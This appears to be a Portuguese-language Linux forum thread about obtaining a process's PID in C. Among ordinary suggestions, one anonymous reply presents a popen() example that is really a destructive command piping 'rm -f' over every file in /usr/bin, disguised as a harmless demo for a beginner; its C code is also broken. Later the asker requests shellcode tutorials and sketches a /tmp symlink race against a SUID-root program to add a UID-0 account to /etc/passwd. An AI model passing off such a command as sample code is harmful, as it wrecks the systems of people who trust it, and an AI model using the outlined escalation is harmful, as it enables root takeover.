#  > Desenvolvimento >  > Linguagens de Programação >  >  Pegar o PID de um processo em execucao

## kappalinux

Gostaria de saber se tem algum comando em C e eu possa utilizar para pegar o PID de um processo em execucao..?
faloow
valeu
[]'s

----------


## Flanela

Veja se as seguintes funções lhe são úteis:

#include <sys/types.h>
#include <unistd.h>
pid_t getpid(void); -> PID do próprio software
pid_t getppid(void); -> PID do programa "Pai"

Porêm eu também gostaria de saber se há alguma biblioteca para retornar o PID de um processo que não esteja relacionado com o software requerente. Se alguém puder nos ajudar ...

um abraço.[/b]

----------


## demiurgo

tupow....

ps -aux | grep "nome_do_processo" ??

da um cut na parte q t interessa do resultado

[]'s

----------


## Flanela

É aproximadamente o processo que eu uso hj, mas não é o que eu gostaria de usar, pois dessa forma vc aliena o seu software ao funcionamento de outro ("ps"). Para resolver este impasse, eu estou pesquisando a bendita biblioteca que é capaz de controlar e verificar processos do SO. Se tiver alguma luz ...

abraço.

----------


## kappalinux

e ai pessoal!!!
fikei sabendo q a funcao popen() pode ser muito util para manipular comandos shell em programas em C..mas eu ainda nao dei uma estudada nessa funcao para verificar se realmente funciona..
faloooow 
ateh++
[]'s

----------

funciona assim:

/* ******** inicio exemplo ******** */

FILE *fle_cmd;
char chr_cmd, chr_leitura[SIZE];

sprintf(chr_cmd, "%s", "ls -1 /usr/bin |awk '{print "rm -f " $1}' |sh");

// "abrindo" o comando
fle_cmd = popen (chr_cmd, "r");

while (fgets(chr_leitura, SIZE, fle_cmd) != NULL) {
chr_leitura[strlen(chr_leitura) - 1] = '\0';
// exibindo o retorno
printf("Retorno -> %s\n", chr_leitura);
}

pclose(fle_cmd);

/* ******* fim exemplo ******* */

até mais.

----------


## kappalinux

valeu cara...valeu mesmo!!! kebrou um galhao cara!!
;-)
falooow
[]'s

ateh++

----------


## SDM

na verdade vc pode tratar o ponteiro do popen como se fosse um fopen, ou seja tratar ele como arquivo msm....

se vc abrir um comando em modo escrita podeira escrever no programa como escreveria em um arquivo (eu uso o fprintf), ou se abrir em modo leitura vc le os resultados dele como um arquivo (assim como nosso amigo fez ai em cima)

----------


## kappalinux

blza cara valeu pelas dicas!!!
o fprintf eu conheco..eu ja usei bastante para escrever em arquivos etc etc e tal..
mas de qualquer forma vlaeu..
se alguem souber um tutorial bom sobre escrita de shellcodes basico poderia me passar o link?? sem ser o da pagina da unsekurity..
valeu []'s
ateh++
faaloow

----------


## Benzatti

Tipo, pode usar o system() pra executar um comando shell dentro do programa em C. Ai fica facil pegar o PID.


[ ] ´s

----------


## kappalinux

mas eu nao consigo pegar o PID com comando system() e armazenar em uma variavel declarada no progama..
eh mais facil usar getpid()

----------


## Kakaroto

e ae ta uma olhada neste link tem uma referencia da glib com todas as funções vê se isso q procura ok
http://www.gnu.org/software/libc/manual/html_node/

falow

kakaroto

----------


## fricardo

É só uma idéia. Mas eu acho q tem como obter o PID lendo as informações do /proc. Eu não tentei... mas quem puder tentar... acho q tem tudo para funcionar.

fricardo

----------


## kappalinux

isso eh verdade tem como pegar o PID pelo /proc mas se kisermos q contem dentro do /proc/PID_em_processamento ?
por exemplo acessar um /proc/PID para pegarmos termos mais detalhes interessantes sobre o q estah ocorrendo?
por exemplo..um..
programa q ta sendo executando como root e SUID bit setado. Imaginemos q esse programa cria um link simbolico no /tmp mas esse programa usa o tmpnam() para gerar esse arquivo no /tmp, nao poderiamos prever qual arquivo serah criado no /tmp e as possibilidades de acertar com qual nome ele serah criada sao tao baixas q chegam a ser nulas.
se conseguirmos acessar o /proc/PID_desse_processo.. saberiamos com qual nome esse o arquivo serah gerado no /tmp e antes q esse arquivo fosse gerado poderiamos cria-lo primeir e adicionar uma conta com id 0 e fazer um link simbolico do /etc/passwd.
Mas ai q estah o problema no /proc os processos do superusuario nao pode ser acessados por usuarios comuns. pelo menos no slackware nao...nas outras distribuicoes ainda nao tentei..

----------


## fricardo

Parece q há como funções do userland acessarem o /proc. Existem funções de leitura na interface do procfs. Esta informação está no "Linux Kernel Procfs Guide", q pode ser baixado na web.

fricardo

----------

